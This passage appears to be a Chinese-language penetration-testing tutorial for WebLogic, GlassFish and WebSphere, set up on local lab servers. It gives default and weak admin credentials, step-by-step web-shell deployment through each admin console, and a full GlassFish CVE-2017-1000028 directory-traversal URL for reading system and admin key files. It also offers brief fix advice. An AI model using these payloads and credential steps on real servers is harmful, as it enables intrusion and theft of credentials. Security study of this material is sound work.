SearchPublicRegistries.jsp路徑為：
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war
Weblogic 弱口令&& 後臺getshell
弱口令參考：https://cirt.net/passwords?criteria=WebLogic
訪問http://127.0.0.1:7001/console
自動重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp，使用弱口令登陸後臺（預設使用者名稱weblogic ,我設定的密碼admin888）。
點選部署，進一步點選右邊的安裝。
點選上載檔案，
選擇war包，點選下一步
上傳完成以後選中你上傳的檔案,點選下一步
選中作為應用程式安裝，點選下一步
然後直接點選完成即可
選用我們安裝的應用，點選啟動即可
訪問：http://ip:port/[war包名]/[包名內檔名]
這裡是http://192.168.0.163:7001/shell/shell.jsp
沒有報錯，說明上載成功，連線天蠍
GlassFish
GlassFish 是用於構建 Java EE 5應用伺服器的開源開發專案的名稱。它基於 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的原始碼 以及 Oracle 貢獻的 TopLink 永續性程式碼。該專案提供了開發高質量應用伺服器的結構化過程，以前所未有的速度提供新的功能。
預設埠：8080（Web應用埠，即網站內容），4848（GlassFish管理中心）
預設返回的指紋資訊:
Server: GlassFish Server Open Source Edition 4.1.2 X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.2 Java/Oracle Corporation/1.8)
下載4.1.2版本: https://download.java.net/glassfish/4.1.2/release/glassfish-4.1.2.zip
解壓後，進入glassfish/bin目錄下開啟CMD視窗輸入asadmin start-domain啟動glassfish
asadmin stop-domain 停止glassfish
GlassFish Directory Traversal（ CVE-2017-1000028）
java語言中會把%c0%af解析為\uC0AF，最後轉義為ASCCII字元的/（斜槓）。利用..%c0%af..%c0%af來向上跳轉，達到目錄穿越、任意檔案讀取的效果。
解析原理：
計算機指定了UTF8編碼接收二進位制並進行轉義，當發現位元組以0開頭，表示這是一個標準ASCII字元，直接轉義，當發現110開頭，則取2個位元組去掉110模板後轉義。 UTF8編碼模板如下:
C0AF （16進位制）轉換位二進位制為 110 00000 10 101111 ，110開頭去掉模板後為00000 101111 轉換為10進製為47，ASSCI為/
受影響版本：<=4.1.2版本
啟動GlassFish後 ，訪問
http://your-ip:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
發現成功讀取win.ini檔案
Note:如果在你的機器上不能成功讀取，請自行新增 如果在你的機器上不能成功讀取，請自行新增..%c0%af
讀admin-keyfile檔案，該檔案是儲存admin賬號密碼的檔案,爆破。
位置在glassfish/domains/domain1/config/admin-keyfile
GlassFish 後臺Getshell
進入後臺後 Applications，右邊的deploy
選中war包後上傳，填寫Context Root 這個關係到你訪問的url，點選Ok。
訪問http://127.0.0.1:8080/[Context Root]/[war包內的filename]
Note: 如果管理員不設定帳號本地會自動登入，但是遠端訪問會提示配置錯誤。 如果管理員不設定帳號本地會自動登入，但是遠端訪問會提示配置錯誤。Configuration Error Secure Admin must be enabled to access the DAS remotely
修復建議
1.不開放後臺給外網
2.若開放 密碼強度需設定 包含 大寫字母，小寫字母，數字，特殊字元，且長度大於10位。
WebSphere
WebSphere® Application Server 加速交付新應用程式和服務，它可以通過快速交付創新的應用程式來幫助企業提供豐富的使用者體驗。從基於開放標準的豐 富的程式設計模型中進行選擇，以便更好地協調專案需求與程式設計模型功能和開發人員技能。
下載安裝7.0 WebSphere https://www.ibm.com/support/pages/node/320527
指紋: Server: WebSphere Application Server/7.0
登入頁面：
http://127.0.0.1:9060/ibm/console/logon.jsp
https://127.0.0.1:9043/ibm/console/logon.jsp
Java反序列化(CVE-2015-7450）
訪問8880埠，出現如下介面，則可能存在Java反序列化漏洞
工具:Java反序列化終極測試工具
弱口令 && 後臺Getshell
（1）. 在6.x至7.0版本，後臺登陸只需要輸入 admin作為使用者標識，無需密碼，即可登陸後臺。
（2）. websphere/ websphere
（3）. system/ manager
1.點選WebSphere 企業應用程式，點選安裝。
2.上傳war包，點選下一步
3.一直點選下一步，直到下圖，填寫上下文根，關係到你訪問的URL，接著一直點下一步直到安裝完成。
4.安裝完成之後，點選儲存主配置，然後回到WebSphere 企業應用程式，選中war包啟動，訪問shell。
&n